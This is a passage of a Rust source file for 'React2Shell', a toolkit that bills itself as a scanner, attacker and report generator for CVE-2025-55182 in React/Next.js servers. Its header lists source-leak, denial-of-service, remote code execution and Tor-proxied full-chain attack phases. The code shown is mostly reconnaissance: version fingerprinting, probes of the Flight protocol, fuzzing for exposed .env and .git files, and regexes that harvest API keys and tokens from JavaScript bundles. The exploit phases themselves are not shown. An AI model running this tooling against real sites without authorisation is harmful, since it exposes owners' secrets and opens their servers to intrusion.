Skip to main content

web_analyzer/
react.rs

1//! # React2Shell — CVE-2025-55182 Scanner, Attacker & Report Generator
2//!
3//! **Enterprise-grade React Server Components vulnerability toolkit.**
4//!
5//! This module provides a complete Rust implementation of the React2Shell toolchain:
6//!
7//! ## Scanner
8//! - Static JS bundle analysis (React & Next.js version detection)
9//! - RSC/Server Action endpoint discovery
10//! - HTTP header analysis for framework fingerprinting
11//! - Sensitive file fuzzing (`.env`, `.git/config`, etc.)
12//! - Secret/API key pattern detection in JS bundles
13//! - Vulnerability evaluation against known-vulnerable version lists
14//!
15//! ## Attacker
16//! - **Phase 1 — Reconnaissance**: Technology stack fingerprinting & version extraction
17//! - **Phase 2 — Source Leak** (CVE-2025-55183): Flight protocol source code exfiltration
18//! - **Phase 3 — DoS** (CVE-2025-55184): Memory/CPU exhaustion via self-referencing payloads
19//! - **Phase 4 — RCE** (CVE-2025-55182): Remote code execution via blob handler exploitation
20//! - **Phase 5 — Full Chain**: Orchestrated multi-phase attack with optional Tor proxying
21//!
22//! ## Report Generator
23//! - Structured JSON reports for all scan/attack phases
24//! - Colored console output with severity indicators
25//! - Aggregate attack report combining all phases
26
27use crate::error::{Result, WebAnalyzerError};
28use chrono::Utc;
29use regex::Regex;
30use reqwest::Client;
31use serde::{Deserialize, Serialize};
32use std::collections::HashSet;
33use std::time::{Duration, Instant};
34
35// ═════════════════════════════════════════════════════════════════════════════
36// Result Types
37// ═════════════════════════════════════════════════════════════════════════════
38
39/// Version information detected from a source.
40#[derive(Debug, Clone, Serialize, Deserialize)]
41pub struct VersionInfo {
42    pub version: String,
43    pub source: String,
44    pub context: String,
45}
46
47/// A discovered software dependency with version.
48#[derive(Debug, Clone, Serialize, Deserialize)]
49pub struct DependencyInfo {
50    pub name: String,
51    pub version: String,
52    pub source: String,
53    pub context: String,
54}
55
56/// A detected secret/credential.
57#[derive(Debug, Clone, Serialize, Deserialize)]
58pub struct SecretInfo {
59    pub secret_type: String,
60    pub value: String,
61    pub source: String,
62    pub context: String,
63}
64
65/// An exposed sensitive file discovered during fuzzing.
66#[derive(Debug, Clone, Serialize, Deserialize)]
67pub struct ExposedFile {
68    pub path: String,
69    pub url: String,
70    pub context: String,
71}
72
73/// Full results from a React2Shell vulnerability scan.
74#[derive(Debug, Clone, Serialize, Deserialize)]
75pub struct ScanResult {
76    pub url: String,
77    pub is_nextjs: bool,
78    pub nextjs_version: Option<VersionInfo>,
79    pub react_version: Option<VersionInfo>,
80    pub rsc_enabled: bool,
81    pub vulnerable: bool,
82    pub dependencies: Vec<DependencyInfo>,
83    pub exposed_files: Vec<ExposedFile>,
84    pub secrets: Vec<SecretInfo>,
85    pub details: Vec<String>,
86    pub scan_duration_ms: u64,
87}
88
89/// Reconnaissance phase result.
90#[derive(Debug, Clone, Serialize, Deserialize)]
91pub struct ReconResult {
92    pub target: String,
93    pub timestamp: String,
94    pub nextjs_version: Option<String>,
95    pub react_version: Option<String>,
96    pub is_app_router: bool,
97    pub rsc_endpoints: Vec<RscEndpoint>,
98    pub vulnerable: bool,
99}
100
101/// A discovered RSC/Server Action endpoint.
102#[derive(Debug, Clone, Serialize, Deserialize)]
103pub struct RscEndpoint {
104    pub path: String,
105    pub method: String,
106    pub content_type: String,
107    pub notes: String,
108}
109
110/// A finding from source code leak analysis.
111#[derive(Debug, Clone, Serialize, Deserialize)]
112pub struct SourceLeakFinding {
113    pub pattern: String,
114    pub matched: String,
115    pub context: String,
116}
117
118/// Source leak attack result.
119#[derive(Debug, Clone, Serialize, Deserialize)]
120pub struct SourceLeakResult {
121    pub target: String,
122    pub success: bool,
123    pub bytes_leaked: usize,
124    pub leaked_source: String,
125    pub findings: Vec<SourceLeakFinding>,
126}
127
128/// DoS test result.
129#[derive(Debug, Clone, Serialize, Deserialize)]
130pub struct DosResult {
131    pub target: String,
132    pub baseline_ms: f64,
133    pub attack_elapsed_ms: f64,
134    pub dos_successful: bool,
135    pub server_recovered: bool,
136    pub effect_multiplier: f64,
137}
138
139/// RCE execution result.
140#[derive(Debug, Clone, Serialize, Deserialize)]
141pub struct RceResult {
142    pub target: String,
143    pub success: bool,
144    pub poc_file_created: bool,
145    pub command_outputs: Vec<RceCommandOutput>,
146}
147
148/// Output from a single RCE command execution.
149#[derive(Debug, Clone, Serialize, Deserialize)]
150pub struct RceCommandOutput {
151    pub command: String,
152    pub output: String,
153    pub exit_code: i32,
154    pub error: String,
155}
156
157/// Result of a single attack phase.
158#[derive(Debug, Clone, Serialize, Deserialize)]
159pub struct AttackPhaseResult {
160    pub phase: String,
161    pub success: bool,
162    pub duration_ms: u64,
163    pub details: String,
164}
165
166/// Combined full-chain attack result.
167#[derive(Debug, Clone, Serialize, Deserialize)]
168pub struct FullChainResult {
169    pub target: String,
170    pub timestamp: String,
171    pub phases: Vec<AttackPhaseResult>,
172    pub total_duration_ms: u64,
173    pub tor_enabled: bool,
174    pub scan: Option<ScanResult>,
175    pub recon: Option<ReconResult>,
176    pub source_leak: Option<SourceLeakResult>,
177    pub dos: Option<DosResult>,
178    pub rce: Option<RceResult>,
179}
180
181/// Aggregate attack report combining scan + attack results.
182#[derive(Debug, Clone, Serialize, Deserialize)]
183pub struct AttackReport {
184    pub target: String,
185    pub generated_at: String,
186    pub scan: Option<ScanResult>,
187    pub recon: Option<ReconResult>,
188    pub source_leak: Option<SourceLeakResult>,
189    pub dos: Option<DosResult>,
190    pub rce: Option<RceResult>,
191    pub full_chain: Option<FullChainResult>,
192    pub summary: ReportSummary,
193}
194
195#[derive(Debug, Clone, Serialize, Deserialize)]
196pub struct ReportSummary {
197    pub rsc_active: bool,
198    pub framework_detected: bool,
199    pub version_found: bool,
200    pub vulnerability_verdict: String,
201    pub attack_phases_completed: Vec<String>,
202    pub risk_level: String,
203}
204
205// ═════════════════════════════════════════════════════════════════════════════
206// Constants
207// ═════════════════════════════════════════════════════════════════════════════
208
209/// Known vulnerable React versions (CVE-2025-55182).
210const VULNERABLE_REACT: &[&str] = &["19.0.0", "19.1.0", "19.1.1", "19.2.0", "18.3.0-canary"];
211
212/// Known vulnerable Next.js versions (CVE-2025-55182).
213const VULNERABLE_NEXT: &[&str] = &[
214    "14.3.0-canary",
215    "15.0.0",
216    "15.0.1",
217    "15.0.2",
218    "15.0.3",
219    "15.0.4",
220    "15.1.0",
221    "15.1.1",
222    "15.1.2",
223    "15.1.3",
224    "15.1.4",
225    "15.1.5",
226    "15.1.6",
227    "15.1.7",
228    "15.1.8",
229    "15.2.0",
230    "15.2.1",
231    "15.2.2",
232    "15.2.3",
233    "15.2.4",
234    "15.2.5",
235    "15.3.0",
236    "15.3.1",
237    "15.3.2",
238    "15.3.3",
239    "15.3.4",
240    "15.3.5",
241    "15.4.0",
242    "15.4.1",
243    "15.4.2",
244    "15.4.3",
245    "15.4.4",
246    "15.4.5",
247    "15.4.6",
248    "15.4.7",
249    "15.5.0",
250    "15.5.1",
251    "15.5.2",
252    "15.5.3",
253    "15.5.4",
254    "15.5.5",
255    "15.5.6",
256    "16.0.0",
257    "16.0.1",
258    "16.0.2",
259    "16.0.3",
260    "16.0.4",
261    "16.0.5",
262    "16.0.6",
263];
264
265/// Sensitive file paths to fuzz.
266const SENSITIVE_PATHS: &[&str] = &[
267    ".env",
268    ".env.local",
269    ".env.development",
270    ".env.production",
271    ".env.test",
272    ".git/config",
273    ".git/HEAD",
274    "package.json",
275    "package-lock.json",
276    "docker-compose.yml",
277    "Dockerfile",
278    ".npmrc",
279    "yarn.lock",
280    "next.config.js",
281    "tsconfig.json",
282    ".vscode/settings.json",
283    "web.config",
284    "robots.txt",
285];
286
287/// Secret detection patterns: (name, regex).
288const SECRET_PATTERNS: &[(&str, &str)] = &[
289    ("Google API Key", r"AIza[0-9A-Za-z\-_]{35}"),
290    ("Firebase URL", r"https://[a-z0-9\-]+\.firebaseio\.com"),
291    (
292        "Slack Webhook",
293        r"https://hooks\.slack\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+",
294    ),
295    ("AWS Access Key", r"AKIA[0-9A-Z]{16}"),
296    (
297        "AWS Secret Key",
298        r#"secret_?key\s*[:=]\s*['\"][0-9a-zA-Z/+]{40}['\"]"#,
299    ),
300    (
301        "JWT Token",
302        r"ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*",
303    ),
304    ("GitHub Token", r"gh[oprs]_[a-zA-Z0-9]{36,}"),
305    (
306        "Discord Webhook",
307        r"https://discord\.com/api/webhooks/[0-9]+/[a-zA-Z0-9\-]+",
308    ),
309    (
310        "Generic API Key",
311        r#"(?:api_?key|auth_?token|access_?token)\s*[:=]\s*['\"][0-9a-zA-Z\-_]{16,}['\"]"#,
312    ),
313];
314
315/// Sensitive data extraction patterns for source leak analysis.
316const SOURCE_LEAK_PATTERNS: &[&str] = &[
317    r"(?i)(api[_-]?key|api[_-]?secret)",
318    r"(?i)(db[_-]?password|database[_-]?url)",
319    r"(?i)(jwt[_-]?secret|signing[_-]?key)",
320    r"(?i)(token|bearer|auth)",
321    r"(?i)(postgresql://|mysql://|mongodb://)",
322    r"(?i)(sk_live|pk_live|sk_test)",
323];
324
325/// JavaScript file priority keywords (files matching these are scanned first).
326const JS_PRIORITY_KEYWORDS: &[&str] = &["framework", "main", "webpack", "app", "pages", "layout"];
327
328// ═════════════════════════════════════════════════════════════════════════════
329// ANSI Color Helpers
330// ═════════════════════════════════════════════════════════════════════════════
331
332struct Color;
333
334impl Color {
335    pub const RED: &'static str = "\x1b[91m";
336    pub const GREEN: &'static str = "\x1b[92m";
337    pub const YELLOW: &'static str = "\x1b[93m";
338    #[allow(dead_code)]
339    pub const BLUE: &'static str = "\x1b[94m";
340    pub const MAGENTA: &'static str = "\x1b[95m";
341    pub const CYAN: &'static str = "\x1b[96m";
342    pub const WHITE: &'static str = "\x1b[97m";
343    pub const BOLD: &'static str = "\x1b[1m";
344    pub const DIM: &'static str = "\x1b[2m";
345    pub const RESET: &'static str = "\x1b[0m";
346    pub const BG_RED: &'static str = "\x1b[41m";
347    pub const BG_GREEN: &'static str = "\x1b[42m";
348}
349
350// ═════════════════════════════════════════════════════════════════════════════
351// Utility Functions
352// ═════════════════════════════════════════════════════════════════════════════
353
354/// Check if a React version is in the known-vulnerable list.
355pub fn is_react_vulnerable(version: &str) -> bool {
356    VULNERABLE_REACT.iter().any(|v| version.starts_with(v))
357}
358
359/// Check if a Next.js version is in the known-vulnerable list.
360pub fn is_nextjs_vulnerable(version: &str) -> bool {
361    VULNERABLE_NEXT.iter().any(|v| version.starts_with(v))
362}
363
364/// Build a reqwest Client that skips TLS verification (pentesting mode).
365fn build_insecure_client() -> Result<Client> {
366    crate::http_client_builder()
367        .danger_accept_invalid_certs(true)
368        .user_agent("React2Shell-Scanner/2.0 (Rust/Pentest)")
369        .timeout(Duration::from_secs(15))
370        .build()
371        .map_err(WebAnalyzerError::Http)
372}
373
374/// Build a reqwest Client with a custom timeout.
375fn build_client_with_timeout(secs: u64) -> Result<Client> {
376    crate::http_client_builder()
377        .danger_accept_invalid_certs(true)
378        .user_agent("React2Shell-Scanner/2.0 (Rust/Pentest)")
379        .timeout(Duration::from_secs(secs))
380        .build()
381        .map_err(WebAnalyzerError::Http)
382}
383
384/// Return a context window around a match position in a string.
385fn context_window(text: &str, start: usize, end: usize, window: usize) -> String {
386    let s = start.saturating_sub(window);
387    let e = std::cmp::min(text.len(), end + window);
388    text[s..e].to_string()
389}
390
391// ═════════════════════════════════════════════════════════════════════════════
392// Scanner
393// ═════════════════════════════════════════════════════════════════════════════
394
395/// React2Shell vulnerability scanner for detecting CVE-2025-55182.
396///
397/// Performs header analysis, JS bundle fingerprinting, RSC endpoint detection,
398/// sensitive file fuzzing, and secret extraction.
399pub struct React2ShellScanner {
400    target: String,
401    client: Client,
402    results: ScanResult,
403}
404
405impl React2ShellScanner {
406    /// Create a new scanner for the given target URL.
407    pub async fn new(target: &str) -> Result<Self> {
408        let target = target.trim_end_matches('/').to_string();
409        Ok(Self {
410            target: target.clone(),
411            client: build_insecure_client()?,
412            results: ScanResult {
413                url: target,
414                is_nextjs: false,
415                nextjs_version: None,
416                react_version: None,
417                rsc_enabled: false,
418                vulnerable: false,
419                dependencies: Vec::new(),
420                exposed_files: Vec::new(),
421                secrets: Vec::new(),
422                details: Vec::new(),
423                scan_duration_ms: 0,
424            },
425        })
426    }
427
428    fn add_detail(&mut self, detail: &str) {
429        self.results.details.push(detail.to_string());
430    }
431
432    // ── Header Analysis ──────────────────────────────────────────────────
433
434    /// Analyze HTTP response headers for Next.js/React indicators.
435    pub async fn analyze_headers(&mut self) -> Result<()> {
436        let resp = match self.client.head(&self.target).send().await {
437            Ok(r) => r,
438            Err(_) => {
439                self.add_detail("Header analysis: HEAD request failed, trying GET.");
440                self.client
441                    .get(&self.target)
442                    .send()
443                    .await
444                    .map_err(WebAnalyzerError::Http)?
445            }
446        };
447
448        let headers = resp.headers();
449        let x_powered_by = headers
450            .get("x-powered-by")
451            .and_then(|v| v.to_str().ok())
452            .unwrap_or("")
453            .to_lowercase();
454
455        if x_powered_by.contains("next.js") {
456            self.results.is_nextjs = true;
457            self.add_detail("Header 'X-Powered-By' indicates Next.js.");
458
459            // Try to extract version from the header value
460            if let Ok(re) = Regex::new(r"next\.js\s*([\d\.]+)") {
461                if let Some(caps) = re.captures(&x_powered_by) {
462                    let ver = caps.get(1).unwrap().as_str().to_string();
463                    self.results.nextjs_version = Some(VersionInfo {
464                        version: ver.clone(),
465                        source: self.target.clone(),
466                        context: format!("x-powered-by: {}", x_powered_by),
467                    });
468                    self.add_detail(&format!("Next.js version detected from headers: {}", ver));
469                }
470            }
471        }
472
473        // Check for X-NextJS-* custom headers
474        let has_nextjs_headers = headers
475            .keys()
476            .any(|k| k.as_str().to_lowercase().starts_with("x-nextjs"));
477        if has_nextjs_headers {
478            self.results.is_nextjs = true;
479            self.add_detail("Custom 'X-NextJS-*' headers detected.");
480        }
481
482        // Check for Next.js-specific cookies
483        if let Some(cookie) = headers.get("set-cookie").and_then(|v| v.to_str().ok()) {
484            if cookie.contains("__prerender_bypass") {
485                self.results.is_nextjs = true;
486                self.add_detail("Next.js prerender bypass cookie detected.");
487            }
488        }
489        if headers.contains_key("x-invoke-path") {
490            self.results.is_nextjs = true;
491            self.add_detail("Next.js 'x-invoke-path' header detected.");
492        }
493
494        Ok(())
495    }
496
497    // ── Static Bundle Analysis ───────────────────────────────────────────
498
499    /// Fetch the target HTML and analyze embedded JS bundles for versions.
500    pub async fn fetch_static_bundles(&mut self) -> Result<()> {
501        let resp = self
502            .client
503            .get(&self.target)
504            .send()
505            .await
506            .map_err(WebAnalyzerError::Http)?;
507
508        let html = resp
509            .text()
510            .await
511            .map_err(|e| WebAnalyzerError::Other(format!("Failed to read response body: {}", e)))?;
512
513        // Check generator meta tag for Next.js
514        if let Ok(re) = Regex::new(
515            r#"<meta[^>]+name=["']generator["'][^>]+content=["']Next\.js\s+(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
516        ) {
517            if let Some(caps) = re.captures(&html) {
518                let ver = caps.get(1).unwrap().as_str().to_string();
519                if self.results.nextjs_version.is_none() {
520                    let ctx = context_window(
521                        &html,
522                        caps.get(0).unwrap().start(),
523                        caps.get(0).unwrap().end(),
524                        30,
525                    );
526                    self.results.nextjs_version = Some(VersionInfo {
527                        version: ver.clone(),
528                        source: self.target.clone(),
529                        context: ctx,
530                    });
531                    self.results.is_nextjs = true;
532                    self.add_detail(&format!(
533                        "Next.js version detected from HTML meta tag: {}",
534                        ver
535                    ));
536                }
537            }
538        }
539
540        // Check for Next.js App Router (RSC-enabled)
541        if html.contains("_next/static/chunks/app/")
542            || html.contains("app-pages-internals")
543            || html.contains("self.__next_f")
544        {
545            self.results.is_nextjs = true;
546            self.results.rsc_enabled = true;
547            self.add_detail("Next.js App Router detected (RSC active).");
548        } else if html.contains("id=\"__NEXT_DATA__\"") || html.contains("_next/static") {
549            self.results.is_nextjs = true;
550            self.add_detail("Next.js Pages Router or static file structure detected.");
551        }
552
553        // Verify with build-manifest.json if still uncertain
554        if !self.results.is_nextjs {
555            let manifest_url = format!("{}/_next/build-manifest.json", self.target);
556            if let Ok(resp) = self.client.get(&manifest_url).send().await {
557                if resp.status().is_success() {
558                    if let Ok(body) = resp.text().await {
559                        if body.contains("pages") {
560                            self.results.is_nextjs = true;
561                            self.add_detail(
562                                "/_next/build-manifest.json accessible — confirmed Next.js.",
563                            );
564                        }
565                    }
566                }
567            }
568        }
569
570        // Extract JS file paths from HTML
571        let js_pattern = Regex::new(r"(/_next/static/[a-zA-Z0-9_/\-\.]+\.js)").unwrap();
572        let js_files: HashSet<String> = js_pattern
573            .find_iter(&html)
574            .map(|m| m.as_str().to_string())
575            .collect();
576
577        if !js_files.is_empty() {
578            self.add_detail(&format!(
579                "Found {} static JS files. Starting version analysis...",
580                js_files.len()
581            ));
582            self.extract_versions_from_js(js_files).await;
583        }
584
585        Ok(())
586    }
587
588    /// Download JS bundles and extract version information.
589    async fn extract_versions_from_js(&mut self, initial_js_files: HashSet<String>) {
590        let mut scanned: HashSet<String> = HashSet::new();
591        let mut to_scan: Vec<String> = initial_js_files.into_iter().collect();
592        let new_js_re = Regex::new(r#"["'](/[a-zA-Z0-9_/\-\.]+\.js)["']"#).unwrap();
593        let chunk_re = Regex::new(r"static/chunks/[a-zA-Z0-9_/\-\.]+\.js").unwrap();
594        let pkg_re = Regex::new(
595            r"/\*!\s*(?:[A-Za-z0-9_\-\.\@\/]+\s+)?([a-zA-Z0-9_\-\.\@\/]+)\s+[vV]?([0-9]+\.[0-9]+\.[0-9]+[a-zA-Z0-9_\-\.]*)\s*\*/",
596        )
597        .unwrap();
598        let embedded_re = Regex::new(
599            r#"(?:name|pkg|package)\s*:\s*["']([a-zA-Z0-9_\-\.\@\/]+)["']\s*,\s*(?:version|ver)\s*:\s*["']([0-9]+\.[0-9]+\.[0-9]+[a-zA-Z0-9_\-\.]*)["']"#,
600        )
601        .unwrap();
602
603        // Sort by priority keywords
604        to_scan.sort_by(|a, b| {
605            let a_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| a.contains(k));
606            let b_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| b.contains(k));
607            b_prio.cmp(&a_prio)
608        });
609
610        let max_files = 100usize;
611
612        while let Some(js_path) = to_scan.pop() {
613            if scanned.contains(&js_path) || scanned.len() >= max_files {
614                continue;
615            }
616            scanned.insert(js_path.clone());
617
618            let js_url = if js_path.starts_with("http") {
619                js_path.clone()
620            } else {
621                format!("{}{}", self.target, js_path)
622            };
623
624            let js_content = match self.client.get(&js_url).send().await {
625                Ok(resp) if resp.status().is_success() => match resp.text().await {
626                    Ok(t) => t,
627                    Err(_) => continue,
628                },
629                _ => continue,
630            };
631
632            // Discover new chunk references
633            for m in new_js_re.find_iter(&js_content) {
634                let path = m.as_str().trim_matches(&['"', '\''][..]).to_string();
635                if !scanned.contains(&path) && !to_scan.contains(&path) {
636                    to_scan.push(path);
637                }
638            }
639            for m in chunk_re.find_iter(&js_content) {
640                let path = format!("/_next/{}", m.as_str());
641                if !scanned.contains(&path) && !to_scan.contains(&path) {
642                    to_scan.push(path);
643                }
644            }
645
646            // Re-sort after adding new files
647            to_scan.sort_by(|a, b| {
648                let a_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| a.contains(k));
649                let b_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| b.contains(k));
650                b_prio.cmp(&a_prio)
651            });
652
653            // Extract package versions via /*! ... */ banner comments
654            for caps in pkg_re.captures_iter(&js_content) {
655                let name = caps.get(1).unwrap().as_str().to_string();
656                let version = caps.get(2).unwrap().as_str().to_string();
657                if !self.results.dependencies.iter().any(|d| d.name == name) {
658                    let ctx = context_window(
659                        &js_content,
660                        caps.get(0).unwrap().start(),
661                        caps.get(0).unwrap().end(),
662                        30,
663                    );
664                    self.results.dependencies.push(DependencyInfo {
665                        name: name.clone(),
666                        version: version.clone(),
667                        source: js_url.clone(),
668                        context: ctx,
669                    });
670                    self.add_detail(&format!("Dependency detected: {} (v{})", name, version));
671                }
672            }
673
674            // Extract embedded package.json-style definitions
675            for caps in embedded_re.captures_iter(&js_content) {
676                let name = caps.get(1).unwrap().as_str().to_string();
677                let version = caps.get(2).unwrap().as_str().to_string();
678                if name.len() > 1
679                    && version.len() > 1
680                    && !self.results.dependencies.iter().any(|d| d.name == name)
681                {
682                    let ctx = context_window(
683                        &js_content,
684                        caps.get(0).unwrap().start(),
685                        caps.get(0).unwrap().end(),
686                        30,
687                    );
688                    self.results.dependencies.push(DependencyInfo {
689                        name: name.clone(),
690                        version: version.clone(),
691                        source: js_url.clone(),
692                        context: ctx,
693                    });
694                    self.add_detail(&format!(
695                        "Embedded dependency detected: {} (v{})",
696                        name, version
697                    ));
698                }
699            }
700
701            // Look for React version
702            if self.results.react_version.is_none() {
703                self.try_extract_react_version(&js_content, &js_url);
704            }
705
706            // Look for Next.js version
707            if self.results.nextjs_version.is_none() {
708                self.try_extract_nextjs_version(&js_content, &js_url);
709            }
710
711            // Scan for secrets
712            self.detect_secrets(&js_content, &js_url);
713        }
714
715        // Fallback: try /api/health endpoint
716        if self.results.react_version.is_none() || self.results.nextjs_version.is_none() {
717            let health_url = format!("{}/api/health", self.target);
718            if let Ok(resp) = self.client.get(&health_url).send().await {
719                if resp.status().is_success() {
720                    if let Ok(data) = resp.json::<serde_json::Value>().await {
721                        if let Some(versions) = data.get("version") {
722                            if self.results.react_version.is_none() {
723                                if let Some(react_ver) =
724                                    versions.get("react").and_then(|v| v.as_str())
725                                {
726                                    self.results.react_version = Some(VersionInfo {
727                                        version: react_ver.to_string(),
728                                        source: health_url.clone(),
729                                        context: data.to_string(),
730                                    });
731                                    self.add_detail(&format!(
732                                        "/api/health revealed React version: {}",
733                                        react_ver
734                                    ));
735                                }
736                            }
737                            if self.results.nextjs_version.is_none() {
738                                if let Some(next_ver) =
739                                    versions.get("next").and_then(|v| v.as_str())
740                                {
741                                    self.results.nextjs_version = Some(VersionInfo {
742                                        version: next_ver.to_string(),
743                                        source: health_url.clone(),
744                                        context: data.to_string(),
745                                    });
746                                    self.add_detail(&format!(
747                                        "/api/health revealed Next.js version: {}",
748                                        next_ver
749                                    ));
750                                }
751                            }
752                        }
753                    }
754                }
755            }
756        }
757    }
758
759    fn try_extract_react_version(&mut self, js_content: &str, source_url: &str) {
760        let patterns = [
761            (
762                r"react(?:@|[\s\-\_]*v?)(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)",
763                false,
764            ),
765            (
766                r#"reconcilerVersion\s*[:=]\s*["'](1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
767                true,
768            ),
769            (
770                r#"(?:version|ReactVersion)\s*[:=]\s*["'](1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
771                true,
772            ),
773            (
774                r#""react"\s*:\s*"[^"]*(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)[^"]*""#,
775                false,
776            ),
777            (
778                r"react-dom(?:@|[\s\-\_]*v?)(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)",
779                false,
780            ),
781        ];
782
783        for (pattern, requires_react_context) in &patterns {
784            if let Ok(re) = Regex::new(pattern) {
785                if let Some(caps) = re.captures(js_content) {
786                    let version = caps.get(1).unwrap().as_str().to_string();
787                    if *requires_react_context {
788                        let lower = js_content.to_lowercase();
789                        if lower.contains("react")
790                            || lower.contains("uselayouteffect")
791                            || lower.contains("usestate")
792                        {
793                            let ctx = context_window(
794                                js_content,
795                                caps.get(0).unwrap().start(),
796                                caps.get(0).unwrap().end(),
797                                30,
798                            );
799                            self.results.react_version = Some(VersionInfo {
800                                version: version.clone(),
801                                source: source_url.to_string(),
802                                context: ctx,
803                            });
804                            self.add_detail(&format!(
805                                "React version detected in JS bundle: {}",
806                                version
807                            ));
808                            return;
809                        }
810                    } else {
811                        let ctx = context_window(
812                            js_content,
813                            caps.get(0).unwrap().start(),
814                            caps.get(0).unwrap().end(),
815                            30,
816                        );
817                        self.results.react_version = Some(VersionInfo {
818                            version: version.clone(),
819                            source: source_url.to_string(),
820                            context: ctx,
821                        });
822                        self.add_detail(&format!(
823                            "React version detected in JS bundle: {}",
824                            version
825                        ));
826                        return;
827                    }
828                }
829            }
830        }
831    }
832
833    fn try_extract_nextjs_version(&mut self, js_content: &str, source_url: &str) {
834        let patterns = [
835            (
836                r"next(?:@|[\s\-\_]*v?)(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)",
837                false,
838            ),
839            (
840                r#"window\.next\s*=\s*\{.*?version:\s*["'](1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
841                false,
842            ),
843            (
844                r#"(?:__NEXT_VERSION|nextVersion|version)\s*[:=]\s*["'](1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
845                true,
846            ),
847            (
848                r#""next"\s*:\s*"[^"]*(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)[^"]*""#,
849                false,
850            ),
851        ];
852
853        for (pattern, requires_nextjs_context) in &patterns {
854            if let Ok(re) = Regex::new(pattern) {
855                if let Some(caps) = re.captures(js_content) {
856                    let version = caps.get(1).unwrap().as_str().to_string();
857                    if *requires_nextjs_context {
858                        let lower = js_content.to_lowercase();
859                        if lower.contains("next")
860                            || lower.contains("app-router")
861                            || lower.contains("window.next")
862                        {
863                            let ctx = context_window(
864                                js_content,
865                                caps.get(0).unwrap().start(),
866                                caps.get(0).unwrap().end(),
867                                30,
868                            );
869                            self.results.nextjs_version = Some(VersionInfo {
870                                version: version.clone(),
871                                source: source_url.to_string(),
872                                context: ctx,
873                            });
874                            self.add_detail(&format!(
875                                "Next.js version detected in JS bundle: {}",
876                                version
877                            ));
878                            return;
879                        }
880                    } else {
881                        let ctx = context_window(
882                            js_content,
883                            caps.get(0).unwrap().start(),
884                            caps.get(0).unwrap().end(),
885                            30,
886                        );
887                        self.results.nextjs_version = Some(VersionInfo {
888                            version: version.clone(),
889                            source: source_url.to_string(),
890                            context: ctx,
891                        });
892                        self.add_detail(&format!(
893                            "Next.js version detected in JS bundle: {}",
894                            version
895                        ));
896                        return;
897                    }
898                }
899            }
900        }
901    }
902
903    // ── Secret Detection ─────────────────────────────────────────────────
904
905    /// Scan content for secrets (API keys, tokens, etc.).
906    fn detect_secrets(&mut self, content: &str, source_url: &str) {
907        for (name, pattern) in SECRET_PATTERNS {
908            if let Ok(re) = Regex::new(pattern) {
909                for m in re.find_iter(content) {
910                    let val = m.as_str().to_string();
911                    if !self.results.secrets.iter().any(|s| s.value == val) {
912                        let ctx = context_window(content, m.start(), m.end(), 30);
913                        self.results.secrets.push(SecretInfo {
914                            secret_type: name.to_string(),
915                            value: val,
916                            source: source_url.to_string(),
917                            context: ctx,
918                        });
919                        self.add_detail(&format!("Secret detected: {} ({})", name, source_url));
920                    }
921                }
922            }
923        }
924    }
925
926    // ── Flight Protocol Check ────────────────────────────────────────────
927
928    /// Test whether the target supports RSC/Server Actions (Flight protocol).
929    pub async fn check_flight_protocol(&mut self) -> Result<()> {
930        let headers: Vec<(&str, &str)> = vec![
931            ("RSC", "1"),
932            ("Content-Type", "text/x-component"),
933            ("Next-Action", "test-action"),
934            (
935                "Next-Router-State-Tree",
936                "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
937            ),
938        ];
939
940        let mut req = self.client.post(&self.target).body("[]".to_string());
941        for (k, v) in &headers {
942            req = req.header(*k, *v);
943        }
944
945        match req.send().await {
946            Ok(resp) => {
947                let resp_headers = resp.headers().clone();
948                let content_type = resp_headers
949                    .get("content-type")
950                    .and_then(|v| v.to_str().ok())
951                    .unwrap_or("")
952                    .to_lowercase();
953
954                if content_type.contains("text/x-component") {
955                    self.results.rsc_enabled = true;
956                    self.add_detail(
957                        "Flight protocol active! Server supports RSC & Server Actions.",
958                    );
959                } else if [400u16, 500].contains(&resp.status().as_u16()) {
960                    if let Ok(body) = resp.text().await {
961                        let lower = body.to_lowercase();
962                        if lower.contains("action") || lower.contains("flight") {
963                            self.results.rsc_enabled = true;
964                            self.add_detail(
965                                "Flight protocol error received. RSC active but payload rejected.",
966                            );
967                        }
968                    }
969                }
970            }
971            Err(e) => {
972                self.add_detail(&format!("Flight protocol test error: {}", e));
973            }
974        }
975
976        Ok(())
977    }
978
979    // ── Sensitive File Fuzzing ───────────────────────────────────────────
980
981    /// Fuzz for exposed sensitive files.
982    pub async fn fuzz_sensitive_files(&mut self) -> Result<()> {
983        self.add_detail("Starting sensitive file fuzzing...");
984        self.results.exposed_files.clear();
985
986        for path in SENSITIVE_PATHS {
987            let url = format!("{}/{}", self.target, path.trim_start_matches('/'));
988            match self.client.get(&url).send().await {
989                Ok(resp) if resp.status().is_success() => {
990                    let content_type = resp
991                        .headers()
992                        .get("content-type")
993                        .and_then(|v| v.to_str().ok())
994                        .unwrap_or("");
995                    // Anti-false-positive: skip HTML pages
996                    if content_type.contains("text/html") {
997                        continue;
998                    }
999                    if let Ok(body) = resp.text().await {
1000                        if body.len() < 100 || !body[..100].to_lowercase().contains("<html") {
1001                            let ctx = if body.len() > 200 {
1002                                format!("{}...", &body[..200])
1003                            } else {
1004                                body.clone()
1005                            };
1006                            self.results.exposed_files.push(ExposedFile {
1007                                path: path.to_string(),
1008                                url: url.clone(),
1009                                context: ctx,
1010                            });
